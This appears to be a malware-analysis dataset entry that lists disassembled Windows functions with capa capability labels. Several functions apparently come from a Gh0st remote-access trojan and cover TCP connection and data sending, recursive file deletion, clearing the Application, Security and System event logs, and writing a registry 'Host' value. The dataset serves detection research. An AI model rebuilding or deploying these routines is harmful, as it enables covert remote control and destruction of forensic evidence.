joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f290
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47b253
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0046ebcb
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00474260
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047577c
test eax, eax
je 0x43f3ac
mov ecx, dword [esp + 0x3c]
call fcn.0047428d
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43f370
push edi
mov ecx, esi
call fcn.004718f6
mov ecx, esi
call fcn.0043f550
cmp dword [esp + 0x38], 1
jne 0x43f3a5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00471a31
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x441590
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4415c3
push esi
call fcn.0044f940
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4415bc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x441649
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x441632
mov eax, dword [esi + 8]
test eax, eax
je 0x4415e7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44162e
cmp eax, 2
je 0x441632
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4415da
cmp eax, 3
je 0x44160d
cmp eax, 1
jne 0x4415da
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4415da
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4415da
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00441670
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x441658
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00441670
add esp, 4
pop esi
ret

Function at 0x441ee0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x441f01
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x441f01
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441f01
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x46f9c0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46f9f8
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046da74
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046da4c
jmp 0x46fa04
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4710ae
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4710f0
call fcn.00476b67
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4710f0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4710e7
xor eax, eax
jmp 0x4710f8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004710fe
pop edi
pop esi
pop ebx
ret 4
Function at 0x477097
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4770c5
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4770e3
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00476ffd
jmp 0x4770e3
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4770e3
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00476ffd
test edi, edi
mov eax, edi
jne 0x4770cd
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10a58058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.10a581a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10a5807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10a5806a
add dl, dl
jne 0x10a58089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10a580dc
xor eax, eax
add dl, dl
jne 0x10a58096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10a5817d
add dl, dl
jne 0x10a580a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10a580b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10a580bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10a580c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10a580d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10a58075
mov eax, 1
add dl, dl
jne 0x10a580ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10a580f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10a580e1
sub eax, ebx
mov ebx, 1
jne 0x10a58128
mov ecx, 1
add dl, dl
jne 0x10a5810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10a58119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10a58105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10a58075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10a5813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10a5814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10a58136
cmp eax, 0x7d00
jae 0x10a5816d
cmp eax, 0x500
jb 0x10a58168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10a58075
cmp eax, 0x7f
ja 0x10a58170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10a58075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10a5819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10a58075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x100013b0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10024bda
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.10001000
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], ebx
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.10001000
lea eax, [esp + 0x10]
mov dword [esi], 0x10026488
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 8], bl
mov byte [esp + 9], bl
mov byte [esp + 0xa], bl
mov byte [esp + 0xb], bl
mov edx, dword [esp + 8]
lea ecx, [esi + 0xb0]
mov byte [esi + 0xb5], bl
mov dword [esi + 0xac], eax
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], bl
mov ax, word [esp + 0xc]
mov dword [ecx], edx
mov dword [esi + 0xa8], 0xffffffff
mov word [ecx + 4], ax
mov ecx, dword [esp + 0x1a0]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a4
ret

Function at 0x10001670
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov esi, ecx
call fcn.10001a70
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [esp + 0x2c]
mov dword [esi + 0xa8], eax
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x100016bd
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov edx, dword [esp + 0x30]
mov word [esp + 0x18], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x1c]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001702
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0xb]
push 1
push edx
push 8
push 0xffff
push eax
mov byte [esp + 0x1f], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001760
push eax
lea ecx, [esp + 0xf]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0x20]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0xea60
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001790
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10014c60
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x20
ret 8
Function at 0x10001c80
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x18]
cmp ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
jb 0x10001cea
xor ebp, ebp
mov eax, dword [esp + 0x10]
push 0
push esi
push edi
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001ccc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebp
cmp ebp, 0xf
jge 0x10001d34
jmp 0x10001ca3
mov ecx, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add ecx, eax
push 0xa
mov dword [esp + 0x1c], ecx
add edi, esi
call ebp
sub ebx, esi
cmp ebx, esi
jb 0x10001cf0
jmp 0x10001ca1
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jle 0x10001d28
xor esi, esi
mov edx, dword [esp + 0x10]
push 0
push ebx
push edi
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001d24
push 0x64
call ebp
inc esi
cmp esi, 0xf
jl 0x10001cf6
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret 0xc
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
cmp eax, ecx
je 0x10001d37
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x10003cc0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.DeleteFileA
mov dword [ebp - 0x14], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.RemoveDirectoryA
push str.kernel32.dll
call esi
push eax
call edi
push str.FindClose
push str.KERNEL32.dll
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push str.FindNextFileA
push str.KERNEL32.dll
mov dword [ebp - 0x1c], eax
call esi
push eax
call edi
push str.FindFirstFileA
push str.KERNEL32.dll
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, eax
mov al, 0x2a
mov byte [ebp - 5], al
mov byte [ebp - 3], al
lea eax, [ebp - 8]
push edi
lea ecx, [ebp - 0x260]
push eax
push ecx
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 4], 0x2e
mov byte [ebp - 2], 0
call ebx
add esp, 0xc
lea edx, [ebp - 0x15c]
lea eax, [ebp - 0x260]
push edx
push eax
call esi
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003d9a
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x130], 0x2e
je 0x10003dfb
mov al, byte [ebp - 0x15c]
lea ecx, [ebp - 0x130]
push ecx
push edi
test al, 0x10
push 0x1002c074
je 0x10003de5
lea edx, [ebp - 0x468]
push edx
call ebx
mov ecx, dword [ebp - 0x14]
add esp, 0x10
lea eax, [ebp - 0x468]
push eax
call fcn.10003cc0
jmp 0x10003dfb
lea edx, [ebp - 0x364]
push edx
call ebx
add esp, 0x10
lea eax, [ebp - 0x364]
push eax
call dword [ebp - 0x10]
lea ecx, [ebp - 0x15c]
push ecx
push esi
call dword [ebp - 0x18]
test eax, eax
jne 0x10003da8
nop
nop
nop
nop
nop
nop
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call ebx
push esi
call dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
push 0
call ebx
push edi
call dword [ebp - 0xc]
test eax, eax
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100040b0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
mov al, 0x65
push ebx
push ebp
mov byte [esp + 0x24], al
mov byte [esp + 0x2a], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, ecx
lea eax, [esp + 0x24]
push edi
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x6f
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x35], 0x48
mov byte [esp + 0x36], 0x61
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], 0x64
mov byte [esp + 0x39], cl
mov byte [esp + 0x3b], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateFileA
push str.kernel32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.ReadFile
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.LocalAlloc
push str.kernel32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.LocalFree
push str.kernel32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
mov edi, dword [esp + 0x38]
mov dword [esp + 0x24], eax
cmp dword [edi + 4], 0xffffffff
jne 0x1000418e
mov ecx, ebx
call fcn.100043f0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [ebx + 0x20]
push accept
push ecx
call ebp
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x100041b9
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x24
ret 4
mov edx, dword [edi + 4]
push 0
push edi
push edx
push ebp
call dword [esp + 0x24]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [esp + 0x20]
mov esi, eax
lea edx, [esp + 0x10]
push 0
push edx
mov byte [esi], 0x6a
mov eax, dword [edi]
mov dword [esi + 1], eax
mov ecx, dword [edi + 4]
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebp
mov dword [esi + 5], ecx
call dword [esp + 0x30]
push ebp
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10004229
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.10009070
push esi
mov edi, eax
call dword [esp + 0x28]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
mov ecx, ebx
call fcn.100043f0
mov edi, dword [esp + 0x38]
push esi
call dword [esp + 0x28]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x10004250
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x28
mov al, 0x65
push ebx
push ebp
mov byte [esp + 0x28], al
mov byte [esp + 0x2e], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, ecx
lea eax, [esp + 0x28]
push edi
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov dword [esp + 0x2c], ebp
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], 0x73
mov byte [esp + 0x39], 0x48
mov byte [esp + 0x3a], 0x61
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0x64
mov byte [esp + 0x3d], cl
mov byte [esp + 0x3f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateFileA
push str.kernel32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.GetFileSize
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.LocalAlloc
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.LocalFree
push str.kernel32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.lstrlenA
push str.KERNEL32.dll
mov dword [esp + 0x30], eax
call esi
push eax
call edi
lea edx, [ebp + 0x20]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x3c]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 1
push accept
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000436c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret 4
lea ecx, [esp + 0x20]
push ecx
push edi
call dword [esp + 0x1c]
push edi
mov esi, eax
call dword [esp + 0x1c]
push ebp
call dword [esp + 0x14]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [esp + 0x24]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x20]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x3c]
push esi
mov dword [ebx + 1], eax
call dword [esp + 0x14]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x2c]
call fcn.10009070
push ebx
mov esi, eax
call dword [esp + 0x2c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4

Function at 0x10004cb0
Capabilities:
Move file

Disassembly:
push esi
push edi
push str.lstrlenA
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x71
mov ecx, edi
call fcn.10004450
pop edi
pop esi
ret 4
Function at 0x10004f40
Capabilities:
Copy file

Disassembly:
push esi
push edi
push str.lstrlenA
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x8e
mov ecx, edi
call fcn.10004450
pop edi
pop esi
ret 4

Function at 0x10004fd0
Capabilities:
Move file

Disassembly:
push esi
push edi
push str.lstrlenA
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x8e
mov ecx, edi
call fcn.10004450
pop edi
pop esi
ret 4
Function at 0x10007d90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007dae
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x10007dae
xor eax, eax
ret
mov eax, 1
ret

Function at 0x10007e80
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 8
inc esi
jne 0x10007ea1
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100151f0
add esp, 8
test al, al
jne 0x10007eb5
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x10007f00
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x154
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x10007fbb
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x5c]
push str.Program_FilesInternet_ExplorerIEXPLORE.EXE
push ecx
mov byte [esp + 0x67], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea edx, [esp + 0x7c]
push ebx
push edx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], sym.imp.MSVCRT.dll__iob
mov dword [esp + 0x6c], sym.imp.MSVCRT.dll_atol
mov dword [esp + 0x70], sym.imp.MSVCRT.dll_strncmp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop ebx
add esp, 0x154
ret
mov eax, dword [esp + 0x15c]
push 1
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor al, al
pop ebx
add esp, 0x154
ret
Function at 0x10007fe0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10008030
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10008017
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10008050
Capabilities:
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push str.SYSTEMSetup
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1000808e
mov edx, dword [esp + 8]
push edi
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 8]
push edx
push 1
push eax
push str.Host
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret